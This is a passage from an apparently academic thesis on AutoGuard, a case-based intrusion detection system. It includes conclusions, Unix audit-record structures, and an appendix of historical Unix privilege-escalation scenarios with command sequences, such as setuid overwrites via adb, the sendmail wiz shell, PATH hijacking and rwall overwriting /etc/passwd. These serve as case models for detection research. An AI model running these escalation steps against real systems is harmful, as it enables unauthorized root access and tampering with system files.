This chapter described the implementation of AutoGuard, a case-based reasoning system for intrusion detection. The case-based reasoning system for intrusion detection is different from those developed for other domains such as design, planning and diagnosis. This is due to the fact that CBIDS has to work on a real-time basis. The implementation of a case-based intrusion detection system requires solutions to several representation issues: identifying the contents, representation, organization and defining procedures for case retrieval and case selection.

The case-based intrusion detection system accepts the input as high level class representation of commands. To provide this input a translator module is used to convert the low level audit records, produced by the computer system, into high level class representation.

The retrieval and selection among cases entail the recognition of the relevance of each case to a new intrusion problem and how close a case is to providing a solution to the new intrusion problem. We have illustrated a risk-factor based approach to measuring the similarity between a given situation and a previous case. The concept of ‘partial matching’ is identified as critical to our application.
Chapter 6

Conclusions and Future Prospects

The aim of this chapter is to present a summary that embodies the scope and contributions of the thesis, and some suggestions for future investigations and developments. Firstly, the issues dealt with and the results obtained are summarized. Secondly, the achievements and contributions of the work presented in this thesis are summarized in the light of the aims and objectives which were laid out in the first chapter. Thirdly, a discussion on prospects for future research work is presented. This chapter concludes with some final thoughts.

6.1 Summary of Issues and Results

Intrusion detection is an important component of the security controls and mechanisms provided in a system. It usually forms the last line of defense against security threats. These mechanisms are intended to detect breaches of security policy which can not be easily detected using other methods. Intrusion detection is usually based on one of two models: the anomaly and the misuse models. Both models make assumptions about the nature of intrusive activities that can be detected.

However, in most of the intrusion detection systems, both models fail to consider and handle the uncertainty in the audited data. This uncertainty usually manifests itself in the form of false positives and false negatives in the system. This thesis proposed three new approaches to representation and classification of intrusions based on their manifestations in system events and illustrated the application of statistical and case-based reasoning methods to deal with the uncertainty involved in the process of their representation and detection.

Chapter 2 surveyed several methods and systems for intrusion detection. It also included Denning's general model of intrusion detection. In Chapter 3 two new approaches
to modeling intrusions on the system were proposed and described. Two different statistical methods capable of dealing with uncertainty, namely Bayesian and Evidential Reasoning, were discussed and their application in intrusion detection was demonstrated. An intrusion detection system was proposed which is able to work with any of these two methods to model and detect intrusions on the network. Probabilistic and Evidential Reasoning allow the system to detect abnormality in the user behavior more effectively. They provide a natural representation of approximate and uncertain information. Evidential Reasoning also provides a formal basis for the key operations of fusion and translation needed to integrate multiple sources of information. The effectiveness of the models was illustrated through examples. Advantages and disadvantages of each model was also discussed in Chapter 3.

Chapter 4 included an overview of case-based reasoning. Issues such as memory learning, planning, design, diagnosis and problem solving can be addressed by case-based reasoning. It also provides a foundation for a new technology of intelligent systems that can solve new problems using past experience and interpret new situations. Several case-based reasoning systems were reviewed as well. Chapter 4 also proposed a new model for intrusion detection based on case-based reasoning approach. It illustrated that case-based reasoning provides a useful approach for organizing knowledge about past intrusions into computer systems and facilitates mechanisms for retrieving and using relevant past cases to solve and reason about new situations. A new schema for representation and organization of cases was also proposed and described in Chapter 4.

This thesis also described the implementation of AutoGuard, a case-based intrusion detection system, in Chapter 5. Development issues and case-based processes were discussed in this chapter. AutoGuard is different from other case-based reasoners developed for domains such as design, planning and diagnosis. This is due to the fact that it has to work on a real-time basis. The implementation of AutoGuard required solutions to several representation issues: identifying the contents, representation, organization and defining procedures for case retrieval and case selection.

AutoGuard accepts the input as high level class representation of commands. To provide this input a translator module is used to convert the low level audit records, produced by the target system, into high level class representation.

The retrieval and selection among cases entail the recognition of the relevance of each case to a new intrusion and how close a case is to providing a solution to the new intrusion problem. A risk-factor based approach was used to measure the similarity between a given situation and a previous case. The concept of 'partial matching' was
6.2 Fulfillment of Aims and Objectives

The closest intrusion detection system, reported in literature, to AutoGuard is USTAT [94, 93]. Both systems are implemented for Unix operating system and use the output of C2 BSM audit module. In both cases a high level representation of intrusion scenarios is used to alleviate dependency of the system on the actual commands recorded in the audit trail. AutoGuard uses some of the concepts developed in USTAT. In particular, classification of file sets closely follows USTAT design. Both systems have the capability of preemptive actions. In AutoGuard this is achieved by calculating risk factors and updating them with newly received audit records. Updating of risk factors is presently achieved by using an approach similar to one used by MYCIN expert system for combining uncertainty factors. USTAT uses a deterministic approach in determining preemptive actions which is based on preemptive state transitions.

The main advantages of AutoGuard in comparison to USTAT, and in fact to rule-based systems in general, are the ease of knowledge acquisition and learning. In USTAT, careful analysis of each intrusion scenario and constructing a state transition graph is the pre-requisite of writing rules that define an intrusion. To capture an intrusion scenario, as a case in AutoGuard, we only need to rewrite the actual scenario in terms of action classes and determine all variations of the intrusion sequence that results in the same breach of security. The same process must be followed for learning new knowledge (new scenarios) or modifying the existing knowledge.

6.2 Fulfillment of Aims and Objectives

In Chapter 1 the aims and objectives of this research were outlined as the development of new approaches to intrusion detection. The research has been carried out with the following primary goal:

"improving the performance of conventional intrusion detection systems by dealing with uncertainty in the system."

This goal has been achieved by developing new representation schemes for intrusion scenarios using three different approaches: Probabilistic Reasoning, Evidential Reasoning and Case-Based reasoning methods.

The major contributions of this thesis can be summarized as follows:

1. Applying Probabilistic and Evidential Reasoning to intrusion detection.
2. Developing new representation schemes for intrusion scenarios using these statistical methods.

3. Applying Case-Based Reasoning to intrusion detection.

4. Developing new representation schema for intrusion scenarios using case-based reasoning approach.

5. Implementation of a case-based intrusion detection system called AutoGuard.

Most of the above mentioned aspects have been accomplished through the use of recent advancements in computer technology. In the following section some possible future developments in the case-based intrusion detection are discussed.

6.3 Future Directions

Currently AutoGuard is implemented as a stand-alone system based on case-based reasoning. One possible extension to this work is to integrate different types of knowledge and reasoning methods within the same framework. This will enable the AutoGuard system to handle real-world intrusion problems more efficiently. Such a hybrid case-based reasoning model will use specific cases in conjunction with some generalized or compiled knowledge which can be represented using rules and fuzzy logic. In such situations, specific knowledge (cases) and compiled knowledge (rules) are used in a complementary fashion during the intrusion detection process. Examples of compiled or generalized knowledge include network security policy requirements, heuristics and other domain knowledge about computer hardware and software. The future work should focus on identifying the roles of these individual knowledge modules and developing strategies for hybrid reasoning in intrusion detection.

Future work could also include a look at other methods of uncertainty handling, such as fuzzy logic, for updating the combined risk factor in the system. Part of the future work will be the implementation of the GUI for the system security officer and also the automation of system actions against intruders.

Another research issue will be learning and generalization. As discussed previously, self-learning is an important feature for a CBR system. As cases accumulate, a group of related cases can be used to define prototypical cases that embody the major features of those individual cases. Storing prototypical cases along with the specific cases will help improve the efficiency of the system and reduce the size of case memory.
6.4 Final Thoughts

Throughout the development of this thesis a variety of issues and problems arose that were at times challenging, occasionally frustrating, but always interesting. Some of the problems encountered were dispatched quickly, while others required days and months of study. Unavoidably, not every design issue has been addressed in this thesis, let alone resolved. Had this not been the case, it is doubtful that the development of this thesis would have been as interesting a project as it was. Rather than viewing the AutoGuard functional description presented in this thesis as a finished product, the author would rather have the functional description viewed as merely a snapshot of one stage within a development process. In retrospect, there are several areas within the functional description that could be notably improved, some of which were outlined earlier in this chapter.
Bibliography

[1] 81gm electronic mailing list. Can be retrieved from fileserv@bagpuss.demon.co.uk.


[36] Peter Cheeseman, Robin Hanson, and John Stutz. Bayesian classification with correlation and inheritance. In 12th International Joint Conference on Artificial Intelligence, August 1991.


[44] H. Debar and B. Dorizzi. An application of a recurrent network to an intrusion
detection system. In Proceedings of International Joint Conference on Neural

Shafer and Judea Pearl, editors, Readings in Uncertain Reasoning, pages 522 –


Company, Reading, Massachusetts, 1982.

[49] Yves Deswarte, Laurent Blain, and Jean Charles Fabre. Intrusion tolerance in
distributed computer systems. In Proceedings of the IEEE Symposium on Research

[50] A. V. Discolo. 4.2 BSD UNIX security. Technical report, Computer Science Dept,
University of California, Santa Barbara, April 1985.

[51] Justin Doak. Intrusion detection: The application of feature selection, a compar­
ison of algorithms, and the application of a wide area network analyzer. Masters

ton, DC, October 1990.

based inference systems. In Proceedings of AFIPS, National Computer Conference,

[54] Mansour Esmaili, M. Bala Balachandran Reihaneh Safavi-Naini, and Josef
Pieprzyk. Case base reasoning for intrusion detection. In Proceedings of the
12th Annual Computer Security Applications Conference, San Diego, CA, 9-13
December 1996. To Appear.

Science, University of Wollongong, Australia, 1995.

[56] Mansour Esmaili, Rei Safavi-Naini, and Josef Pieprzyk. Intrusion detection: A
survey. In Proceedings of Twelfth International Conference on Computer Commu-


Auditing in UNIX System

Auditing Facility in UNIX provides the basic data for intrusion detection through the audit record. In the following sections we present a brief review of the auditing facility in SunOS 4.1.3.

A.1 Auditing Facility

The main goal of an auditing facility is to record information about actions that may affect the security of a computer system. In particular, an auditing facility should be able to record any action by any user that may represent a breach of system security. For each action, the auditing facility should record enough information about those actions for verification of

- the user who performed the action;
- the exact day and time it was performed;
- the success or failure of the action; and
- the name, type, device, inode and the file system identification of any data object involved.

The presence of auditing may also deter attempted security breaches which can allow one to take action to contain the problem. Even if the security breach is not detected as it occurs, audit trail can be used to determine the extent of security problem and to recover from it.

In most cases, security breaches are detected by patterns of usage, not by a single action. A single failed login on a terminal, for example, may indicate that a user had trouble typing in a password properly. Several failed login on a terminal, on the other hand, may indicate that a malicious user is trying to guess a password. To detect such patterns, we often need to record many events that are a normal part of daily activity on the system.
Figure A.1: Audit Event Mask (the bad_lvl, chg_nm, and con_chan.l are examples of enhanced security events which are only recorded on systems with Enhanced Security Release).

How Auditing Works

The auditing subsystem is an event based system in which data is recorded whenever an audited event occurs.

Definition A.1 An event represents a single action that may affect the security of the system.

Events are triggered by either system calls or user level commands. For auditable events triggered by system calls, the kernel writes the audit data in the format of an audit record. For auditable events triggered by user level commands, the command invokes the audit system call `auditdump()` to record the audit record.

The system administrator selects which events are to be audited. The selected events are recorded and maintained in data structures referred to as event masks. The following parts explain the use of event masks and the kernel processing required to determine when an audit record is generated.

Audit Event Masks

The auditing subsystem uses event masks to determine which events are currently being audited. Event masks are data structures that contain 32 eight-bit bytes. There is a bit for each possible event on the system; if the bit is set (that is, has a value of 1), the event is audited. Figure A.1 [195] is a conceptual illustration of an event mask structure.

The auditing subsystem uses several different event masks to determine when to generate an audit record for an event. The auditing subsystem maintains the following event masks:

- a system wide event mask;
- a user event mask for each active user;
- a process event mask for each process.

The system event contains the set of events that are audited for every process on the system. The system event mask is stored in the global kernel space. Note that kernel processes marked as SYSTEM, RESIDENT or ZOMBIE are exempt from auditing. In
addition, there are trusted user level processes that bypass the event mask mechanisms. For example, the user level command `auditmap` through its invocation of the audit system call `auditevt()` marks itself exempt from auditing.

A user event mask contains the set of events that are audited for a specific user. During the login procedure, the user mask associated with the user is extracted from the `/etc/security/ia/master` file and is stored in the `useremask` field of the audit process structure. The audit subsystem creates and maintains an audit process structure for each process (with the exception of SYSTEM, RESIDENT or ZOMBIE processes). Changes to the user's event mask may be made statically or dynamically. To change the user event mask statically, the data in `/etc/security/ia/audit` and `/etc/security/ia/master` files are updated. The modification to the user event mask will only take effect for future login sessions. To change the user event mask dynamically, the `useremask` field in the audit process structure is updated. Dynamic changes are reflected in the current login session, however they are lost when the current session ends.

A process event mask contains the set of events audited for all non-exempt processes. The process event mask is the union of the system event and user event mask. The process event mask is stored in the `procemask` field of the audit process structure and is used to determine if an event is being audited. The process event mask is updated every time the user event mask or the system event mask is modified.

The object level event mask refers to both an object event mask and a set of security levels. Object level auditing can be used only on systems that have the Enhanced Security Utilities installed. The object event mask contains the set of events audited for all objects (for example, file, IPC's) and is stored in global kernel space. The set of security levels consist of one inclusive level range and/or individual levels. The tunable parameter `ADT_NLVLS` in the file `/etc/master.d/audit` defines the maximum number of individual levels that may be audited. The level range and individual levels are also stored in global kernel space. The object level event mask defines the set of events that are audited for every object on the system whose security level matches a security level that is being audited.

### A.2 Audit Record Structure

The audit subsystem continuously audits and saves the data into the *Audit Event Log File*. The type, location name and the size of the log file is configurable.

The audit.log file begins with a header record consisting of an `audit_header` structure followed by the previous audit file name. When the audit daemon is started (usually only at boot time), the previous audit file name is NULL.

```c
struct audit_header {
    int ah_magic; /* magic number */
    time_t ah_time; /* the time */
    short ah_namelen; /* length of file name */
};
```
The file may end with a trailer record consisting of an audit_trailer structure followed by the name of the next audit file.

```c
struct audit_trailer {
    short at_record_size;  /* size of this */
    short at_record_type;  /* its type, a trailer */
    time_t at_time;        /* the time */
    short at_namelen;      /* length of file name */
};
typedef struct audit_trailer audit_trailer_t;
```

The audit.log file contains audit records in their raw form. The records are of varying size depending on the record type. Each record has a header which is an audit_record structure.

```c
struct audit_record {
    short au_record_size;  /* size of this */
    short au_record_event; /* the event */
    short au_record_type;  /* its type */
    time_t au_time;        /* the time */
    short au_uid;          /* real uid */
    short au_auid;         /* audit uid */
    short au_euid;         /* effective */
    short au_gid;          /* real group */
    short au_pid;          /* effective */
    int au_errno;          /* error code */
    int au_return;         /* a return value */
    blabel_t au_label;     /* also ... */
    short au_param_count;  /* # of parameters */
};
typedef struct audit_record audit_record_t;
```

Immediately following the header is a set of two byte integers, the number of which exist for a given record is contained in the au_param_count field. These numbers are the lengths of the additional data items. The additional data items follow the list of lengths, the first length describing the first data item. Interpretation of this data is left to the program accessing it.
Appendix B

Attack Scenarios

Case 1 [29]:

**Description:** This attack illustrates how the debugger `adb(1)` can be used to overwrite the contents of a `setuid` program during its execution. The actual `setuid` program file is not modified, just the copy that is loaded into memory.

<table>
<thead>
<tr>
<th>CASE: debug</th>
</tr>
</thead>
</table>

```plaintext
EXEMPLARY-SCENARIO

example:
" cp /bin/csh x
adb -w /etc/rrestore"

INTRUSION-SEQ

sequence: \( E_1 \ E_2 \)

DESCRIPTION

\( E_1 \) duplicate:
- origin: in Restricted.Write File
- destin: ?file1

\( E_2 \) debug:
- option: -w
- subject: in Restricted.Write File
```

The following example uses `adb` to overwrite a root `setuid` program and gain root privileges:

1. `user% cp /bin/csh x`
2. `user% adb -w /etc/rrestore`
3. `:s
   :s
   "/etc/rrestore: running"`
4. O?W $fdd00001bodefdd2fb00000efobc0000001900780b00
5. `Z or `\!' 
6. root%

**Step 1** The attacker copies the shell into a file named “x”, in his current directory. This is the shell that the attacker will trick adb into running.

**Step 2** The attacker calls adb using “-w” option. The “-w” option allows the caller to write into the text space of the executing program. In this example, the attacker chooses the root owned setuid program “/etc/rrestore”.

**Step 3** The attacker single steps through the first couple lines of /etc/rrestore to be sure that the program has in fact started executing. After a few steps, adb will return the message “/etc/rrestore: running”.

**Step 4** The attacker overwrites the text space of the process with nine long words. These nine words are a hardware dependent program that performs exec(“x”). Recall in step 1, “x” contains a copy of the shell. Although “x” is not a setuid program, since it was called with root’s effective UID, so too will “x” have the effective UID of root.

**Step 5** The attacker either suspends adb or asks for a shell. As a result, the attacker is given a shell with the effective ID of root.

**Case 2 [30]:**

**Description:** In this scenario the attacker exploits the wizard feature of Sendmail(8) to gain access to a shell running with root privileges.

1. user@source%telnet target 25 -attach to target host
2. sendmail is ready: -target prompts attacker
3. wiz -ask for wizard right
4. Please pass, oh mighty wizard -sendmail acknowledges
5. shell -ask for shell
6. root@target% -sendmail returns a shell running with root privileges.
Case 3 [32]:

**Description:** This scenario illustrates how an attacker may gain read access to any printable file on a host. This is done by having the printer daemon perform an access check on a file that is readable to the attacker, then substituting this file with another file which is not readable to the attacker.

<table>
<thead>
<tr>
<th>CASE: print</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>EXAMPLE-SCENARIO</strong></td>
</tr>
<tr>
<td>example:</td>
</tr>
<tr>
<td>&quot; touch x</td>
</tr>
<tr>
<td>lpr -s x</td>
</tr>
<tr>
<td>rm x</td>
</tr>
<tr>
<td>ln -s secretfile x &quot;</td>
</tr>
<tr>
<td><strong>INTRUSION-SEQ</strong></td>
</tr>
<tr>
<td>seqnce: $e_1$ $e_2$ $e_3$ $e_4$</td>
</tr>
<tr>
<td><strong>DESCRIPTION</strong></td>
</tr>
<tr>
<td>$e_1$ file-creation:</td>
</tr>
<tr>
<td>subject: ?file1</td>
</tr>
<tr>
<td>$e_2$ print:</td>
</tr>
<tr>
<td>option: -s</td>
</tr>
<tr>
<td>subject: ?file1</td>
</tr>
<tr>
<td>$e_3$ remove:</td>
</tr>
<tr>
<td>argmnt: ?file1</td>
</tr>
<tr>
<td>$e_4$ link:</td>
</tr>
<tr>
<td>option: -s</td>
</tr>
<tr>
<td>subject: ?file1</td>
</tr>
<tr>
<td>destin: ?file2</td>
</tr>
</tbody>
</table>

1. **user%touch x** -create any file
2. **user%lpr -s x** -have the spooler create a symbolic link to x
3. **user%rm x** 
4. **user%ln -s secretfile x** -create a link to the secret file you really want to print.

Before performing step 2 the attacker makes sure there are jobs waiting in the print queue. This is to make sure there is time to perform steps 3 and 4 before x is printed.
Case 4 [31]:

Description:

1. `user% ln <file> -x` - where `<file>` ∈ File Set 2 and 
   x = any character string

2. `user% -x` - file -x is executed.

3. `root%`

---

**EXAMPLE-SCENARIO**

```
example:
"ln file1 -file2
-file2"
```

**INTRUSION-SEQ**

```
seqnce: $1 $2
```

**DESCRIPTION**

$1 link:

- **subjct**: ?file1
- **destin**: ?-file2

$2 execute:

- **subjct**: ?-file2

**Step 1** The attacker creates a link to another user's `setuid` script containing `#!/bin/sh` or `#!/bin/csh` mechanism. Such scripts cause subshells to be created during the script's execution. The attacker must set a `-' as the first character in the link file name.

**Step 2** The attacker executes `-x`. Since the first character in this file name is a `-' , the program is invoked interactively. Since `<file>` contains a `#!/bin/sh` or `#!/bin/csh` mechanism, the attacker will immediately receive a shell running with the file owner's privileges. If the file owner is root, then the attacker may edit the system's log file and accounting files to remove any traces of the shell being run.
Case 5 [28]:

**Description:** This example illustrates a flaw within `mail(1)` utility which allows an attacker to gain access to a shell with root privilege. However, the real compromise is that of the file forgery (or access permission forgery).

---

**CASE:** mail

**EXAMPLE-SCENARIO**

```
example:
"cp /bin/csh /usr/spool/mail/root
chmod 4755 /usr/spool/mail/root
touch x
mail root < x
/usr/spool/mail/root"
```

**INTRUSION-SEQ**

```
sequence: $1, $2, $3, $4, $5,
$1, $2, $3, $4, $5,
$3, $1, $2, $4, $5,
```

**DESCRIPTION**

$1 duplicate:
- origin: in Restricted_Write File
- destin: in File_Set #4 (?file1)

$2 access-control:
- option: 4755
- argument: in File_Set #4 (?file1)

$3 file-creation:
- subject: ?file2

$4 mail:
- receiver: root
- subject: ?file2

$5 execute:
- subject: in File_Set #4 (?file1)

---

1. `user% cp /bin/csh /usr/spool/mail/root`

   - assume root has no mail waiting

2. `user% chmod 4855 /usr/spool/mail/root`

   - make setuid file

3. `user% touch x`

   - create empty file

4. `user% mail root < x`

   - mail root empty file

5. `user% /usr/spool/mail/root`

6. `root%`
The security flaw arises when, in step 4, `mail(1)` fails to reset the `setuid` bit of `/usr/spool/mail/root` after it sets the file’s UID to root and appends ‘x’ to it. Therefore, the attacker need only to execute root’s mail file to gain the access to a shell with root privileges. (Note, the header for x will be taken as part of the symbol table of csh or sh.)

Case 6 [28]:

Description: An attacker can compromise someone seriously if (s)he finds a file which anyone can modify, and that is owned by the prospective victim. In earlier version of UNIX, an attacker could obtain a writable root-owned file by typing the following:

1. `umask 0`
2. `passwd`
3. `.` `<quit>`
   
The `umask` command (see `sh(1)`) specifies that any files created are to be created so that anyone can read or write them. Any command which runs `setuid` to root may be used in place of `passwd(1)`; after any such program is sent the `QUIT` signal (by typing `ctrl-<quit>`), it terminates and produces a core dump in a file named “core” (such a file is useful for debugging purposes). As the effective UID of the process which produced the core dump was root, the file “core” is owned by root. This file is readable, and writable, by anyone due to the setting of the `umask` command. The attacker then deletes the contents of “core” and inserts whatever (s)he likes.
Case 7 [28]:

**Description:** As all mail programs (and many others) use `getlogin(3V)`, it is quite easy to defeat the authentication mechanism. If an attacker wants to mail Vic a letter and have the sender be listed as Tim (who is currently logged in and using terminal 33), (s)he types the message to be sent in a file (call it “x”), and then issues the command

```
mail Vic < x > /dev/tty33
```

As mail programs do not print anything on the standard output file (only on the standard error file), even if there is an error, nothing will be written to terminal 33 and Tim will never know what happened. If Vic relies on the authentication mechanisms in the mailer, he will be fooled completely, as Tim will be listed as the originator of the letter. Any program which uses `getlogin` for verification or authentication may be attacked in this way.
Case 8 [185]:

**Description:** `lpr(l)` is a UNIX utility that passes a file to be printed into the appropriate queue. The `-r` option to `lpr` causes the file to be removed once it has been passed to the print queue. In early versions of UNIX, `-r` option did not adequately check that the user invoking `lpr -r` had the required permissions to remove the specified file, so it was possible for a user to remove, for instance, the password file and prevent anyone from logging into the system.

<table>
<thead>
<tr>
<th>CASE: lpr-r</th>
</tr>
</thead>
<tbody>
<tr>
<td>EXAMPLE-SCENARIO</td>
</tr>
<tr>
<td>example: <code>lpr -r /etc/passwd</code></td>
</tr>
<tr>
<td>INTRUSION-SEQ</td>
</tr>
<tr>
<td>seqnce: $E_1$</td>
</tr>
<tr>
<td>DESCRIPTION</td>
</tr>
<tr>
<td>$E_1$ print:</td>
</tr>
<tr>
<td>option: <code>-r</code></td>
</tr>
<tr>
<td>subject: in Restricted_Write File</td>
</tr>
</tbody>
</table>

Case 9 [28]:

**Description:** Other vulnerable devices are `/dev/drum` (the swapper), `/dev/mem` (user memory), and `/dev/kmem` (kernel memory). An attacker may simply display these files (using, for example, `cat`) to see what others are doing. This problem was discovered when a student read one of the devices and saw a letter that another user was editing.

<table>
<thead>
<tr>
<th>CASE: kmem</th>
</tr>
</thead>
<tbody>
<tr>
<td>EXAMPLE-SCENARIO</td>
</tr>
<tr>
<td>example: <code>cat /dev/kmem</code></td>
</tr>
<tr>
<td>INTRUSION-SEQ</td>
</tr>
<tr>
<td>seqnce: $E_1$</td>
</tr>
<tr>
<td>DESCRIPTION</td>
</tr>
<tr>
<td>$E_1$ duplicate:</td>
</tr>
<tr>
<td>origin: in Restricted_Read File</td>
</tr>
</tbody>
</table>
Case 10 [28]:

Description: The problem lies in the sequential search. Suppose a user has set his/her search path to “/usr/xxx/bin:/usr/bin:/bin,” (a blank directory name, which precedes the first colon, means the current directory). Moreover, suppose “/usr/xxx/bin” is writable by anyone. The attacker need only to write a program to do whatever (s)he wants, copy it into “/usr/xxx/bin” with the same name as a system program, and wait for the victim to execute that system program.

Case 11 [50]:

Description: The search path is of critical importance in a setuid shell script, since if it is not completely specified, the shell scripts inherits the invoker's search path. In this way, the invoker could set his path with “.” at the beginning of the path, thereby making the shell look in the current directory before any of the system directories. In the current directory could be a program with the same name as one of the commands used in the shell script, and the shell would execute the invoker’s version instead of the system version.

For example, if the setuid shell script was the following:

```bash
#!/bin/sh
# Allow operator to dump a file system
# me='whoami'
if test $me = operator:then
dump 5uf/dev/rmt12$l
fi
exi
exit 0
```

The attacker could execute this program in the same directory as his version of test, with his version looking like this:

```bash
#!/bin/sh
exec /bin/csh
```

If the attacker invokes the setuid shell script with ‘.’ at the beginning of his search path, he will wind up with a root shell, since all commands executed within the shell script are done as root.
Case 12 [28]:

**Description:** A common feature found within UNIX application is permitting a user to fork a subshell to run a system command without leaving the program. For example, from within the text editor `ed(1)`, the command ‘!’ will pass the rest of the line to a subshell for execution. The problem arises when a setuid program that has such a feature fails to reset the effective UID of the subshell to the user's real UID. Thus, to become a superuser, all the attacker needs to find a program which is owned by root, has the seuid bit set, and which fails to reset effective UIDs whenever it forks a subshell. The attacker executes the program, enters a subshell, and receives root privilege.

Case 13 [28]:

**Description:** When a setuid file is writable by anyone, a very serious security hole exists. All an attacker has to do is copy another program, such as the shell, onto that file. When (s)he executes that file, (s)he will have all the owner's privileges. Since some versions of UNIX are distributed with all files readable and writable by everyone, finding an appropriate file can be quite easy.

Case 14 [28]:

**Description:** The command `su(1)` enables one user to substitutes another user's real (and effective) UID and GID for his own. This program demands a password and looks in the password file to verify that such a substitution is permissible. As run under UNIX version 6, `su` had a very serious bug. If the password file could not be opened, it provided a shell anyway - with real, effective, UID and GID set to those of root. Since this can be forced to occur very easily: write a C program to open anyfile, such as “/dev/null”, until the maximum number of open files allowed to a process is reached, and then `exec(2)` `su`.
Case 15 [28]:

**Description:** Some shells search for commands a bit differently; for example, *csh* uses a hash table of commands. However, it does not do this for the current directory, a fact many people found out when looking in a certain graduate student's directory. This student created his own version of *ls(l)*, which wrote the command *login* into the user's `.profile` and `.login` (*csh* equivalent of `.profile`) files before listing the files in the directory (in this listing, the entry for *ls* was suppressed). This essentially prevented the unsuspecting user from logging in until the *login* was deleted from the `.login` or `.profile` file.

Case 16 [28]:

**Description:** The problem arises from the way *at* works. It creates a shell script in the directory `/usr/spool/at` which sets up the environment to be what it was when the *at* command was issued. It determines when the program is to be run by the file name, which looks like "82.052.0400.46", where 82 is the last two digits of the year, 052 is the day (of the year) on which the file is to be run, 0400 is the time of the day at which the file is to be run, and 46 is generated from the process number (to ensure file names are unique). It determines who asked the program to be run by the UID and GID of the file. Here is the hole.

As the directory `/usr/spool/at` is writable by everyone, anybody can create a file in it. Since it is on the same file system as `/usr/spool/mail`, anybody can use *ln(l)* to link a mailbox to a file in `/usr/spool/at`. As linking does not change either the UID and GID of the owner of the mail file. So, to do something as superuser, the attacker need only link `/usr/spool/mail/root`, which is root's mailbox, to a file in `/usr/spool/at` named in such a way that it will be executed sometime (say, an hour) in the future. Then, (s)he writes a shell script to do whatever (s)he likes, and mails it to root. The mailed program will put the letter into root's mailbox. When *at* executes the linked file, it will run the set of commands mailed to root as though root had requested it (since the UID and GID of the file are those of root). Note that there may be other mail in root's mailbox; the shell spawned to run the *at* job will treat those lines as invalid commands, and ignore them.

Case 17 [50]:

**Description:** Discolo developed a program to seek out and capture plaintext passwords straight from kernel memory (`/dev/kmem`). The program simply polls the section of kernel memory where the typed characters are stored waiting to be read for that particular try.
Case 18 [185]:

**Description:** In some versions of UNIX, `mkdir(1)` was a setuid program owned by root. The creation of a directory required two steps. First, the storage for the directory was allocated with the `mknod(8)` system call. The directory created then would be owned by root. The second step of `mkdir` was to change the ownership of the newly created directory from root to the ID of the user who invoked `mkdir`. Because these two steps were not atomic, it was possible for a user to gain ownership of any file in the system, including the password file.

This could be done as follows: the `mkdir` command would be initiated, perhaps as a background process, and would complete the first step, creating the directory before being suspended. Through another process, the user would then remove the newly created directory before the suspended process could issue the `chown` command and would create a link to the system password file with the same name as the directory just deleted. At this time the original `mkdir` process would resume execution and complete the `mkdir` invocation by issuing the ownership of the password file to be the user who had invoked `mkdir`. As the owner of the password file, then user could remove the password for root and gain superuser status.

Case 19 [163]:

**Description:** `Rwall` is a UNIX network utility that allows a user to send a message to all users on a remote system. `/etc/utmp` is a file that contains a list of all currently logged in users. `Rwall` uses the information in `/etc/utmp` on the remote system to determine the users to which the message will be sent, and the proper functioning of some UNIX systems require that all users be permitted to write the file `/etc/utmp`. In this case, a malicious user can edit the `/etc/utmp` file to contain the entry `/etc/passwd`. The attacker then creates a password file to replace the current password file (e.g., so that his/her account will have system privileges). The last step is to issue the command: "`rwall` hostname < newpasswordfile". The `rwall` daemon next reads `/etc/utmp` to determine which users should receive the message. Since `/etc/utmp` contains an entry `/etc/passwd`, `rwall` writes the message (the new password file) to that file as well, overwriting the previous version.
Table C.1 shows part of *Purdue University Engineering Computer Network Policy on Access and Usage (September 1991)* [42, Appendix D]:

<table>
<thead>
<tr>
<th>6.4. Files owned by individual users are to be considered as private, whether or not they are accessible by other users.</th>
</tr>
</thead>
<tbody>
<tr>
<td>6.4.1 The ability to read a file does not imply permission to read that file. Files belonging to individuals are to be considered private property.</td>
</tr>
<tr>
<td>6.4.2 Under no circumstances may a user alter a file that does not belong to him or her without prior permission of the file's owner. The ability to alter a file does not imply permission to alter that file.</td>
</tr>
<tr>
<td>6.5 Because this is an educational environment, computer systems are generally open to perusal and investigation by users. This access must not be abused either by attempting to harm the systems, or by stealing copyrighted or licensed software.</td>
</tr>
<tr>
<td>6.5.1 System-level files (not owned by individuals) may be used and viewed for educational purposes if their access permissions so allow.</td>
</tr>
<tr>
<td>6.5.2 Most system-level files are part of copyrighted or licensed software, and may not be copied, in whole or in part, except as needed as part of an educational exercise.</td>
</tr>
<tr>
<td>6.5.3 The same standards of intellectual and academic honesty and plagiarism apply to software as to other forms of published work.</td>
</tr>
<tr>
<td>6.5.4 Making copies of software having a restricted-use license is theft. So is figuring out how to &quot;beat&quot; the license.</td>
</tr>
<tr>
<td>6.5.5 Deliberate alteration of system files is vandalism or malicious destruction of University policy.&quot;</td>
</tr>
</tbody>
</table>

Table C.1: Purdue University Computer Security Network Policy.

And the following is from *Rules Governing the Use of University of Wollongong*
“4. University computing policy requires that users:

- do not disclose their own or attempt to discover any other computer user’s password,
- do not copy, disclose or transfer any of the computer software provided by the University without the written permission of Information Technology Services or appropriate department or branch,